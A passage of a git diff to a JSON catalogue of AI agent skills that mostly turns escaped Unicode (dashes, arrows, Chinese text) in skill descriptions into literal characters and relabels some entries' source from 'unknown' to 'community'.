- "description": "ALWAYS use this skill when committing code changes \u2014 never commit directly without it. Creates commits following Sentry conventions with proper conventional commit format and issue references. Trigger on any commit, git commit, save changes, or commit message task.",
+ "description": "ALWAYS use this skill when committing code changes — never commit directly without it. Creates commits following Sentry conventions with proper conventional commit format and issue references. Trigger on any commit, git commit, save changes, or commit message task.",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -3754,7 +3754,7 @@
"path": "skills/crypto-bd-agent",
"category": "uncategorized",
"name": "crypto-bd-agent",
- "description": "Autonomous crypto business development patterns \u2014 multi-chain token discovery, 100-point scoring with wallet forensics, x402 micropayments, ERC-8004 on-chain identity, LLM cascade routing, and...",
+ "description": "Autonomous crypto business development patterns — multi-chain token discovery, 100-point scoring with wallet forensics, x402 micropayments, ERC-8004 on-chain identity, LLM cascade routing, and...",
"risk": "safe",
"source": "community",
"date_added": "2026-02-27"
@@ -3874,7 +3874,7 @@
"path": "skills/data-structure-protocol",
"category": "uncategorized",
"name": "data-structure-protocol",
- "description": "Give agents persistent structural memory of a codebase \u2014 navigate dependencies, track public APIs, and understand why connections exist without re-reading the whole repo.",
+ "description": "Give agents persistent structural memory of a codebase — navigate dependencies, track public APIs, and understand why connections exist without re-reading the whole repo.",
"risk": "safe",
"source": "https://github.com/k-kolomeitsev/data-structure-protocol",
"date_added": "2026-02-27"
@@ -4454,7 +4454,7 @@
"path": "skills/drizzle-orm-expert",
"category": "uncategorized",
"name": "drizzle-orm-expert",
- "description": "Expert in Drizzle ORM for TypeScript \u2014 schema design, relational queries, migrations, and serverless database integration. Use when building type-safe database layers with Drizzle.",
+ "description": "Expert in Drizzle ORM for TypeScript — schema design, relational queries, migrations, and serverless database integration. Use when building type-safe database layers with Drizzle.",
"risk": "safe",
"source": "community",
"date_added": "2026-03-04"
@@ -4554,9 +4554,9 @@
"path": "skills/emergency-card",
"category": "uncategorized",
"name": "emergency-card",
- "description": "\u751f\u6210\u7d27\u6025\u60c5\u51b5\u4e0b\u5feb\u901f\u8bbf\u95ee\u7684\u533b\u7597\u4fe1\u606f\u6458\u8981\u5361\u7247\u3002\u5f53\u7528\u6237\u9700\u8981\u65c5\u884c\u3001\u5c31\u8bca\u51c6\u5907\u3001\u7d27\u6025\u60c5\u51b5\u6216\u8be2\u95ee\"\u7d27\u6025\u4fe1\u606f\"\u3001\"\u533b\u7597\u5361\u7247\"\u3001\"\u6025\u6551\u4fe1\u606f\"\u65f6\u4f7f\u7528\u6b64\u6280\u80fd\u3002\u63d0\u53d6\u5173\u952e\u4fe1\u606f\uff08\u8fc7\u654f\u3001\u7528\u836f\u3001\u6025\u75c7\u3001\u690d\u5165\u7269\uff09\uff0c\u652f\u6301\u591a\u683c\u5f0f\u8f93\u51fa\uff08JSON\u3001\u6587\u672c\u3001\u4e8c\u7ef4\u7801\uff09\uff0c\u7528\u4e8e\u6025\u6551\u6216\u5feb\u901f\u5c31\u533b\u3002",
+ "description": "生成紧急情况下快速访问的医疗信息摘要卡片。当用户需要旅行、就诊准备、紧急情况或询问\"紧急信息\"、\"医疗卡片\"、\"急救信息\"时使用此技能。提取关键信息(过敏、用药、急症、植入物),支持多格式输出(JSON、文本、二维码),用于急救或快速就医。",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -4884,7 +4884,7 @@
"path": "skills/family-health-analyzer",
"category": "uncategorized",
"name": "family-health-analyzer",
- "description": "\u5206\u6790\u5bb6\u65cf\u75c5\u53f2\u3001\u8bc4\u4f30\u9057\u4f20\u98ce\u9669\u3001\u8bc6\u522b\u5bb6\u5ead\u5065\u5eb7\u6a21\u5f0f\u3001\u63d0\u4f9b\u4e2a\u6027\u5316\u9884\u9632\u5efa\u8bae",
+ "description": "分析家族病史、评估遗传风险、识别家庭健康模式、提供个性化预防建议",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -5016,7 +5016,7 @@
"name": "filesystem-context",
"description": "Use for file-based context management, dynamic context discovery, and reducing context window bloat. Offload context to files for just-in-time loading.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -5074,7 +5074,7 @@
"path": "skills/fitness-analyzer",
"category": "uncategorized",
"name": "fitness-analyzer",
- "description": "\u5206\u6790\u8fd0\u52a8\u6570\u636e\u3001\u8bc6\u522b\u8fd0\u52a8\u6a21\u5f0f\u3001\u8bc4\u4f30\u5065\u8eab\u8fdb\u5c55\uff0c\u5e76\u63d0\u4f9b\u4e2a\u6027\u5316\u8bad\u7ec3\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u6162\u6027\u75c5\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析运动数据、识别运动模式、评估健身进展,并提供个性化训练建议。支持与慢性病数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -5144,7 +5144,7 @@
"path": "skills/form-cro",
"category": "uncategorized",
"name": "form-cro",
- "description": "Optimize any form that is NOT signup or account registration \u2014 including lead capture, contact, demo request, application, survey, quote, and checkout forms.",
+ "description": "Optimize any form that is NOT signup or account registration — including lead capture, contact, demo request, application, survey, quote, and checkout forms.",
"risk": "unknown",
"source": "community",
"date_added": "2026-02-27"
@@ -5334,7 +5334,7 @@
"path": "skills/free-tool-strategy",
"category": "uncategorized",
"name": "free-tool-strategy",
- "description": "When the user wants to plan, evaluate, or build a free tool for marketing purposes \u2014 lead generation, SEO value, or brand awareness. Also use when the user mentions \"engineering as mar...",
+ "description": "When the user wants to plan, evaluate, or build a free tool for marketing purposes — lead generation, SEO value, or brand awareness. Also use when the user mentions \"engineering as mar...",
"risk": "unknown",
"source": "community",
"date_added": "2026-02-27"
@@ -5724,7 +5724,7 @@
"path": "skills/goal-analyzer",
"category": "uncategorized",
"name": "goal-analyzer",
- "description": "\u5206\u6790\u5065\u5eb7\u76ee\u6807\u6570\u636e\u3001\u8bc6\u522b\u76ee\u6807\u6a21\u5f0f\u3001\u8bc4\u4f30\u76ee\u6807\u8fdb\u5ea6,\u5e76\u63d0\u4f9b\u4e2a\u6027\u5316\u76ee\u6807\u7ba1\u7406\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u8425\u517b\u3001\u8fd0\u52a8\u3001\u7761\u7720\u7b49\u5065\u5eb7\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析健康目标数据、识别目标模式、评估目标进度,并提供个性化目标管理建议。支持与营养、运动、睡眠等健康数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -5814,9 +5814,9 @@
"path": "skills/google-sheets-automation",
"category": "uncategorized",
"name": "google-sheets-automation",
- "description": "Read and write Google Sheets spreadsheets - get content, update cells, append rows, fetch specific ranges,\nsearch for spreadsheets, and view metadata. Use when user asks to: read a spreadsheet, update cells,\nadd data to Google Sheets, find a spreadsheet, check sheet...",
+ "description": "Read and write Google Sheets spreadsheets - get content, update cells, append rows, fetch specific ranges,\nsearch for spreadsheets, and view metadata. Use when user asks to: read a spreadsheet, update cells,\nadd data to Google Sheets, find a spreadsheet, check sheet...\n",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -5914,7 +5914,7 @@
"path": "skills/health-trend-analyzer",
"category": "uncategorized",
"name": "health-trend-analyzer",
- "description": "\u5206\u6790\u4e00\u6bb5\u65f6\u95f4\u5185\u5065\u5eb7\u6570\u636e\u7684\u8d8b\u52bf\u548c\u6a21\u5f0f\u3002\u5173\u8054\u836f\u7269\u3001\u75c7\u72b6\u3001\u751f\u547d\u4f53\u5f81\u3001\u5316\u9a8c\u7ed3\u679c\u548c\u5176\u4ed6\u5065\u5eb7\u6307\u6807\u7684\u53d8\u5316\u3002\u8bc6\u522b\u4ee4\u4eba\u62c5\u5fe7\u7684\u8d8b\u52bf\u3001\u6539\u5584\u60c5\u51b5\uff0c\u5e76\u63d0\u4f9b\u6570\u636e\u9a71\u52a8\u7684\u6d1e\u5bdf\u3002\u5f53\u7528\u6237\u8be2\u95ee\u5065\u5eb7\u8d8b\u52bf\u3001\u6a21\u5f0f\u3001\u968f\u65f6\u95f4\u7684\u53d8\u5316\u6216\"\u6211\u7684\u5065\u5eb7\u72b6\u51b5\u6709\u4ec0\u4e48\u53d8\u5316\uff1f\"\u65f6\u4f7f\u7528\u3002\u652f\u6301\u591a\u7ef4\u5ea6\u5206\u6790\uff08\u4f53\u91cd/BMI\u3001\u75c7\u72b6\u3001\u836f\u7269\u4f9d\u4ece\u6027\u3001\u5316\u9a8c\u7ed3\u679c\u3001\u60c5\u7eea\u7761\u7720\uff09\uff0c\u76f8\u5173\u6027\u5206\u6790\uff0c\u53d8\u5316\u68c0\u6d4b\uff0c\u4ee5\u53ca\u4ea4\u4e92\u5f0fHTML\u53ef\u89c6\u5316\u62a5\u544a\uff08ECharts\u56fe\u8868\uff09\u3002",
+ "description": "分析一段时间内健康数据的趋势和模式。关联药物、症状、生命体征、化验结果和其他健康指标的变化。识别令人担忧的趋势、改善情况,并提供数据驱动的洞察。当用户询问健康趋势、模式、随时间的变化或\"我的健康状况有什么变化?\"时使用。支持多维度分析(体重/BMI、症状、药物依从性、化验结果、情绪睡眠),相关性分析,变化检测,以及交互式HTML可视化报告(ECharts图表)。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -6096,7 +6096,7 @@
"name": "hosted-agents",
"description": "Build background agents in sandboxed environments. Use for hosted coding agents, sandboxed VMs, Modal sandboxes, and remote coding environments.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -6476,7 +6476,7 @@
"name": "iterate-pr",
"description": "Iterate on a PR until CI passes. Use when you need to fix CI failures, address review feedback, or continuously push fixes until all checks are green. Automates the feedback-fix-push-wait cycle.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -6754,7 +6754,7 @@
"path": "skills/lightning-factory-explainer",
"category": "uncategorized",
"name": "lightning-factory-explainer",
- "description": "Explain Bitcoin Lightning channel factories and the SuperScalar protocol \u2014 scalable Lightning onboarding using shared UTXOs, Decker-Wattenhofer trees, timeout-signature trees, MuSig2, and Taproot. No soft fork required.",
+ "description": "Explain Bitcoin Lightning channel factories and the SuperScalar protocol — scalable Lightning onboarding using shared UTXOs, Decker-Wattenhofer trees, timeout-signature trees, MuSig2, and Taproot. No soft fork required.",
"risk": "unknown",
"source": "community",
"date_added": "2026-03-03"
@@ -7014,7 +7014,7 @@
"path": "skills/makepad-animation",
"category": "uncategorized",
"name": "makepad-animation",
- "description": "CRITICAL: Use for Makepad animation system. Triggers on:\nmakepad animation, makepad animator, makepad hover, makepad state,\nmakepad transition, \"from: { all: Forward\", makepad pressed,\nmakepad \u52a8\u753b, makepad \u72b6\u6001, makepad \u8fc7\u6e21, makepad \u60ac\u505c\u6548\u679c",
+ "description": "CRITICAL: Use for Makepad animation system. Triggers on:\nmakepad animation, makepad animator, makepad hover, makepad state,\nmakepad transition, \"from: { all: Forward\", makepad pressed,\nmakepad 动画, makepad 状态, makepad 过渡, makepad 悬停效果",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7024,7 +7024,7 @@
"path": "skills/makepad-basics",
"category": "uncategorized",
"name": "makepad-basics",
- "description": "CRITICAL: Use for Makepad getting started and app structure. Triggers on:\nmakepad, makepad getting started, makepad tutorial, live_design!, app_main!,\nmakepad project setup, makepad hello world, \"how to create makepad app\",\nmakepad \u5165\u95e8, \u521b\u5efa makepad \u5e94\u7528, makepad \u6559\u7a0b, makepad \u9879\u76ee\u7ed3\u6784",
+ "description": "CRITICAL: Use for Makepad getting started and app structure. Triggers on:\nmakepad, makepad getting started, makepad tutorial, live_design!, app_main!,\nmakepad project setup, makepad hello world, \"how to create makepad app\",\nmakepad 入门, 创建 makepad 应用, makepad 教程, makepad 项目结构",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7034,7 +7034,7 @@
"path": "skills/makepad-deployment",
"category": "uncategorized",
"name": "makepad-deployment",
- "description": "CRITICAL: Use for Makepad packaging and deployment. Triggers on:\ndeploy, package, APK, IPA, \u6253\u5305, \u90e8\u7f72,\ncargo-packager, cargo-makepad, WASM, Android, iOS,\ndistribution, installer, .deb, .dmg, .nsis,\nGitHub Actions, CI, action, marketplace",
+ "description": "CRITICAL: Use for Makepad packaging and deployment. Triggers on:\ndeploy, package, APK, IPA, 打包, 部署,\ncargo-packager, cargo-makepad, WASM, Android, iOS,\ndistribution, installer, .deb, .dmg, .nsis,\nGitHub Actions, CI, action, marketplace",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7044,7 +7044,7 @@
"path": "skills/makepad-dsl",
"category": "uncategorized",
"name": "makepad-dsl",
- "description": "CRITICAL: Use for Makepad DSL syntax and inheritance. Triggers on:\nmakepad dsl, live_design, makepad inheritance, makepad prototype,\n\"\", \"Foo = { }\", makepad object, makepad property,\nmakepad DSL \u8bed\u6cd5, makepad \u7ee7\u627f, makepad \u539f\u578b, \u5982\u4f55\u5b9a\u4e49 makepad \u7ec4\u4ef6",
+ "description": "CRITICAL: Use for Makepad DSL syntax and inheritance. Triggers on:\nmakepad dsl, live_design, makepad inheritance, makepad prototype,\n\"\", \"Foo = { }\", makepad object, makepad property,\nmakepad DSL 语法, makepad 继承, makepad 原型, 如何定义 makepad 组件",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7054,7 +7054,7 @@
"path": "skills/makepad-event-action",
"category": "uncategorized",
"name": "makepad-event-action",
- "description": "CRITICAL: Use for Makepad event and action handling. Triggers on:\nmakepad event, makepad action, Event enum, ActionTrait, handle_event,\nMouseDown, KeyDown, TouchUpdate, Hit, FingerDown, post_action,\nmakepad \u4e8b\u4ef6, makepad action, \u4e8b\u4ef6\u5904\u7406",
+ "description": "CRITICAL: Use for Makepad event and action handling. Triggers on:\nmakepad event, makepad action, Event enum, ActionTrait, handle_event,\nMouseDown, KeyDown, TouchUpdate, Hit, FingerDown, post_action,\nmakepad 事件, makepad action, 事件处理",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7064,9 +7064,9 @@
"path": "skills/makepad-font",
"category": "uncategorized",
"name": "makepad-font",
- "description": "CRITICAL: Use for Makepad font and text rendering. Triggers on:\nmakepad font, makepad text, makepad glyph, makepad typography,\nfont atlas, text layout, font family, font size, text shaping,\nmakepad \u5b57\u4f53, makepad \u6587\u5b57, makepad \u6392\u7248, makepad \u5b57\u5f62",
+ "description": "CRITICAL: Use for Makepad font and text rendering. Triggers on:\nmakepad font, makepad text, makepad glyph, makepad typography,\nfont atlas, text layout, font family, font size, text shaping,\nmakepad 字体, makepad 文字, makepad 排版, makepad 字形\n",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -7074,7 +7074,7 @@
"path": "skills/makepad-layout",
"category": "uncategorized",
"name": "makepad-layout",
- "description": "CRITICAL: Use for Makepad layout system. Triggers on:\nmakepad layout, makepad width, makepad height, makepad flex,\nmakepad padding, makepad margin, makepad flow, makepad align,\nFit, Fill, Size, Walk, \"how to center in makepad\",\nmakepad \u5e03\u5c40, makepad \u5bbd\u5ea6, makepad \u5bf9\u9f50, makepad \u5c45\u4e2d",
+ "description": "CRITICAL: Use for Makepad layout system. Triggers on:\nmakepad layout, makepad width, makepad height, makepad flex,\nmakepad padding, makepad margin, makepad flow, makepad align,\nFit, Fill, Size, Walk, \"how to center in makepad\",\nmakepad 布局, makepad 宽度, makepad 对齐, makepad 居中",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7084,7 +7084,7 @@
"path": "skills/makepad-platform",
"category": "uncategorized",
"name": "makepad-platform",
- "description": "CRITICAL: Use for Makepad cross-platform support. Triggers on:\nmakepad platform, makepad os, makepad macos, makepad windows, makepad linux,\nmakepad android, makepad ios, makepad web, makepad wasm, makepad metal,\nmakepad d3d11, makepad opengl, makepad webgl, OsType, CxOs,\nmakepad \u8de8\u5e73\u53f0, makepad \u5e73\u53f0\u652f\u6301",
+ "description": "CRITICAL: Use for Makepad cross-platform support. Triggers on:\nmakepad platform, makepad os, makepad macos, makepad windows, makepad linux,\nmakepad android, makepad ios, makepad web, makepad wasm, makepad metal,\nmakepad d3d11, makepad opengl, makepad webgl, OsType, CxOs,\nmakepad 跨平台, makepad 平台支持",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7104,7 +7104,7 @@
"path": "skills/makepad-shaders",
"category": "uncategorized",
"name": "makepad-shaders",
- "description": "CRITICAL: Use for Makepad shader system. Triggers on:\nmakepad shader, makepad draw_bg, Sdf2d, makepad pixel,\nmakepad glsl, makepad sdf, draw_quad, makepad gpu,\nmakepad \u7740\u8272\u5668, makepad shader \u8bed\u6cd5, makepad \u7ed8\u5236",
+ "description": "CRITICAL: Use for Makepad shader system. Triggers on:\nmakepad shader, makepad draw_bg, Sdf2d, makepad pixel,\nmakepad glsl, makepad sdf, draw_quad, makepad gpu,\nmakepad 着色器, makepad shader 语法, makepad 绘制",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7124,7 +7124,7 @@
"path": "skills/makepad-splash",
"category": "uncategorized",
"name": "makepad-splash",
- "description": "CRITICAL: Use for Makepad Splash scripting language. Triggers on:\nsplash language, makepad script, makepad scripting, script!, cx.eval,\nmakepad dynamic, makepad AI, splash \u8bed\u8a00, makepad \u811a\u672c",
+ "description": "CRITICAL: Use for Makepad Splash scripting language. Triggers on:\nsplash language, makepad script, makepad scripting, script!, cx.eval,\nmakepad dynamic, makepad AI, splash 语言, makepad 脚本",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7254,7 +7254,7 @@
"path": "skills/mental-health-analyzer",
"category": "uncategorized",
"name": "mental-health-analyzer",
- "description": "\u5206\u6790\u5fc3\u7406\u5065\u5eb7\u6570\u636e\u3001\u8bc6\u522b\u5fc3\u7406\u6a21\u5f0f\u3001\u8bc4\u4f30\u5fc3\u7406\u5065\u5eb7\u72b6\u51b5\u3001\u63d0\u4f9b\u4e2a\u6027\u5316\u5fc3\u7406\u5065\u5eb7\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u7761\u7720\u3001\u8fd0\u52a8\u3001\u8425\u517b\u7b49\u5176\u4ed6\u5065\u5eb7\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析心理健康数据、识别心理模式、评估心理健康状况、提供个性化心理健康建议。支持与睡眠、运动、营养等其他健康数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7674,7 +7674,7 @@
"path": "skills/nerdzao-elite-gemini-high",
"category": "uncategorized",
"name": "nerdzao-elite-gemini-high",
- "description": "Modo Elite Coder + UX Pixel-Perfect otimizado especificamente para Gemini 3.1 Pro High. Workflow completo com foco em qualidade m\u00e1xima e efici\u00eancia de tokens.",
+ "description": "Modo Elite Coder + UX Pixel-Perfect otimizado especificamente para Gemini 3.1 Pro High. Workflow completo com foco em qualidade máxima e eficiência de tokens.",
"risk": "safe",
"source": "community",
"date_added": "2026-02-27"
@@ -7844,7 +7844,7 @@
"path": "skills/nutrition-analyzer",
"category": "uncategorized",
"name": "nutrition-analyzer",
- "description": "\u5206\u6790\u8425\u517b\u6570\u636e\u3001\u8bc6\u522b\u8425\u517b\u6a21\u5f0f\u3001\u8bc4\u4f30\u8425\u517b\u72b6\u51b5\uff0c\u5e76\u63d0\u4f9b\u4e2a\u6027\u5316\u8425\u517b\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u8fd0\u52a8\u3001\u7761\u7720\u3001\u6162\u6027\u75c5\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析营养数据、识别营养模式、评估营养状况,并提供个性化营养建议。支持与运动、睡眠、慢性病数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -7914,7 +7914,7 @@
"path": "skills/occupational-health-analyzer",
"category": "uncategorized",
"name": "occupational-health-analyzer",
- "description": "\u5206\u6790\u804c\u4e1a\u5065\u5eb7\u6570\u636e\u3001\u8bc6\u522b\u5de5\u4f5c\u76f8\u5173\u5065\u5eb7\u98ce\u9669\u3001\u8bc4\u4f30\u804c\u4e1a\u5065\u5eb7\u72b6\u51b5\u3001\u63d0\u4f9b\u4e2a\u6027\u5316\u804c\u4e1a\u5065\u5eb7\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u7761\u7720\u3001\u8fd0\u52a8\u3001\u5fc3\u7406\u5065\u5eb7\u7b49\u5176\u4ed6\u5065\u5eb7\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析职业健康数据、识别工作相关健康风险、评估职业健康状况、提供个性化职业健康建议。支持与睡眠、运动、心理健康等其他健康数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -8024,7 +8024,7 @@
"path": "skills/odoo-migration-helper",
"category": "uncategorized",
"name": "odoo-migration-helper",
- "description": "Step-by-step guide for migrating Odoo custom modules between versions (v14\u2192v15\u2192v16\u2192v17). Covers API changes, deprecated methods, and view migration.",
+ "description": "Step-by-step guide for migrating Odoo custom modules between versions (v14→v15→v16→v17). Covers API changes, deprecated methods, and view migration.",
"risk": "safe",
"source": "self",
"date_added": null
@@ -8074,7 +8074,7 @@
"path": "skills/odoo-purchase-workflow",
"category": "uncategorized",
"name": "odoo-purchase-workflow",
- "description": "Expert guide for Odoo Purchase: RFQ \u2192 PO \u2192 Receipt \u2192 Vendor Bill workflow, purchase agreements, vendor price lists, and 3-way matching.",
+ "description": "Expert guide for Odoo Purchase: RFQ → PO → Receipt → Vendor Bill workflow, purchase agreements, vendor price lists, and 3-way matching.",
"risk": "safe",
"source": "self",
"date_added": null
@@ -8234,7 +8234,7 @@
"path": "skills/oral-health-analyzer",
"category": "uncategorized",
"name": "oral-health-analyzer",
- "description": "\u5206\u6790\u53e3\u8154\u5065\u5eb7\u6570\u636e\u3001\u8bc6\u522b\u53e3\u8154\u95ee\u9898\u6a21\u5f0f\u3001\u8bc4\u4f30\u53e3\u8154\u5065\u5eb7\u72b6\u51b5\u3001\u63d0\u4f9b\u4e2a\u6027\u5316\u53e3\u8154\u5065\u5eb7\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u8425\u517b\u3001\u6162\u6027\u75c5\u3001\u7528\u836f\u7b49\u5176\u4ed6\u5065\u5eb7\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析口腔健康数据、识别口腔问题模式、评估口腔健康状况、提供个性化口腔健康建议。支持与营养、慢性病、用药等其他健康数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -8326,7 +8326,7 @@
"name": "pandas",
"description": "Pandas",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -8694,7 +8694,7 @@
"path": "skills/pr-writer",
"category": "uncategorized",
"name": "pr-writer",
- "description": "ALWAYS use this skill when creating or updating pull requests \u2014 never create or edit a PR directly without it. Follows Sentry conventions for PR titles, descriptions, and issue references. Trigger on any create PR, open PR, submit PR, make PR,...",
+ "description": "ALWAYS use this skill when creating or updating pull requests — never create or edit a PR directly without it. Follows Sentry conventions for PR titles, descriptions, and issue references. Trigger on any create PR, open PR, submit PR, make PR,...",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9264,7 +9264,7 @@
"path": "skills/rehabilitation-analyzer",
"category": "uncategorized",
"name": "rehabilitation-analyzer",
- "description": "\u5206\u6790\u5eb7\u590d\u8bad\u7ec3\u6570\u636e\u3001\u8bc6\u522b\u5eb7\u590d\u6a21\u5f0f\u3001\u8bc4\u4f30\u5eb7\u590d\u8fdb\u5c55\uff0c\u5e76\u63d0\u4f9b\u4e2a\u6027\u5316\u5eb7\u590d\u5efa\u8bae",
+ "description": "分析康复训练数据、识别康复模式、评估康复进展,并提供个性化康复建议",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9276,7 +9276,7 @@
"name": "remotion",
"description": "Generate walkthrough videos from Stitch projects using Remotion with smooth transitions, zooming, and text overlays",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -9374,7 +9374,7 @@
"path": "skills/robius-app-architecture",
"category": "uncategorized",
"name": "robius-app-architecture",
- "description": "CRITICAL: Use for Robius app architecture patterns. Triggers on:\nTokio, async, submit_async_request, \u5f02\u6b65, \u67b6\u6784,\nSignalToUI, Cx::post_action, worker task,\napp structure, MatchEvent, handle_startup",
+ "description": "CRITICAL: Use for Robius app architecture patterns. Triggers on:\nTokio, async, submit_async_request, 异步, 架构,\nSignalToUI, Cx::post_action, worker task,\napp structure, MatchEvent, handle_startup",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9384,7 +9384,7 @@
"path": "skills/robius-event-action",
"category": "uncategorized",
"name": "robius-event-action",
- "description": "CRITICAL: Use for Robius event and action patterns. Triggers on:\ncustom action, MatchEvent, post_action, cx.widget_action,\nhandle_actions, DefaultNone, widget action, event handling,\n\u4e8b\u4ef6\u5904\u7406, \u81ea\u5b9a\u4e49\u52a8\u4f5c",
+ "description": "CRITICAL: Use for Robius event and action patterns. Triggers on:\ncustom action, MatchEvent, post_action, cx.widget_action,\nhandle_actions, DefaultNone, widget action, event handling,\n事件处理, 自定义动作",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9394,7 +9394,7 @@
"path": "skills/robius-matrix-integration",
"category": "uncategorized",
"name": "robius-matrix-integration",
- "description": "CRITICAL: Use for Matrix SDK integration with Makepad. Triggers on:\nMatrix SDK, sliding sync, MatrixRequest, timeline,\nmatrix-sdk, matrix client, robrix, matrix room,\nMatrix \u96c6\u6210, \u804a\u5929\u5ba2\u6237\u7aef",
+ "description": "CRITICAL: Use for Matrix SDK integration with Makepad. Triggers on:\nMatrix SDK, sliding sync, MatrixRequest, timeline,\nmatrix-sdk, matrix client, robrix, matrix room,\nMatrix 集成, 聊天客户端",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9404,7 +9404,7 @@
"path": "skills/robius-state-management",
"category": "uncategorized",
"name": "robius-state-management",
- "description": "CRITICAL: Use for Robius state management patterns. Triggers on:\nAppState, persistence, theme switch, \u72b6\u6001\u7ba1\u7406,\nScope::with_data, save state, load state, serde,\n\u72b6\u6001\u6301\u4e45\u5316, \u4e3b\u9898\u5207\u6362",
+ "description": "CRITICAL: Use for Robius state management patterns. Triggers on:\nAppState, persistence, theme switch, 状态管理,\nScope::with_data, save state, load state, serde,\n状态持久化, 主题切换",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9414,7 +9414,7 @@
"path": "skills/robius-widget-patterns",
"category": "uncategorized",
"name": "robius-widget-patterns",
- "description": "CRITICAL: Use for Robius widget patterns. Triggers on:\napply_over, TextOrImage, modal, \u53ef\u590d\u7528, \u6a21\u6001,\ncollapsible, drag drop, reusable widget, widget design,\npageflip, \u7ec4\u4ef6\u8bbe\u8ba1, \u7ec4\u4ef6\u6a21\u5f0f",
+ "description": "CRITICAL: Use for Robius widget patterns. Triggers on:\napply_over, TextOrImage, modal, 可复用, 模态,\ncollapsible, drag drop, reusable widget, widget design,\npageflip, 组件设计, 组件模式",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -9576,7 +9576,7 @@
"name": "scikit-learn",
"description": "Machine learning in Python with scikit-learn. Use for classification, regression, clustering, model evaluation, and ML pipelines.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -10166,7 +10166,7 @@
"name": "skill-writer",
"description": "Create and improve agent skills following the Agent Skills specification. Use when asked to create, write, or update skills.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -10176,7 +10176,7 @@
"name": "skin-health-analyzer",
"description": "Analyze skin health data, identify skin problem patterns, assess skin health status. Supports correlation analysis with nutrition, chronic diseases, and medication data.",
"risk": "unknown",
- "source": "unknown",
+ "source": "community",
"date_added": null
},
{
@@ -10214,7 +10214,7 @@
"path": "skills/sleep-analyzer",
"category": "uncategorized",
"name": "sleep-analyzer",
- "description": "\u5206\u6790\u7761\u7720\u6570\u636e\u3001\u8bc6\u522b\u7761\u7720\u6a21\u5f0f\u3001\u8bc4\u4f30\u7761\u7720\u8d28\u91cf\uff0c\u5e76\u63d0\u4f9b\u4e2a\u6027\u5316\u7761\u7720\u6539\u5584\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u5176\u4ed6\u5065\u5eb7\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析睡眠数据、识别睡眠模式、评估睡眠质量,并提供个性化睡眠改善建议。支持与其他健康数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -10634,7 +10634,7 @@
"path": "skills/tcm-constitution-analyzer",
"category": "uncategorized",
"name": "tcm-constitution-analyzer",
- "description": "\u5206\u6790\u4e2d\u533b\u4f53\u8d28\u6570\u636e\u3001\u8bc6\u522b\u4f53\u8d28\u7c7b\u578b\u3001\u8bc4\u4f30\u4f53\u8d28\u7279\u5f81,\u5e76\u63d0\u4f9b\u4e2a\u6027\u5316\u517b\u751f\u5efa\u8bae\u3002\u652f\u6301\u4e0e\u8425\u517b\u3001\u8fd0\u52a8\u3001\u7761\u7720\u7b49\u5065\u5eb7\u6570\u636e\u7684\u5173\u8054\u5206\u6790\u3002",
+ "description": "分析中医体质数据、识别体质类型、评估体质特征,并提供个性化养生建议。支持与营养、运动、睡眠等健康数据的关联分析。",
"risk": "unknown",
"source": "unknown",
"date_added": null
@@ -10804,7 +10804,7 @@
"path": "skills/terraform-aws-modules",
"category": "uncategorized",
"name": "terraform-aws-modules",
- "description": "Terraform module creation for AWS \u2014 reusable modules, state management, and HCL best practices. Use when building or reviewing Terraform AWS infrastructure.",
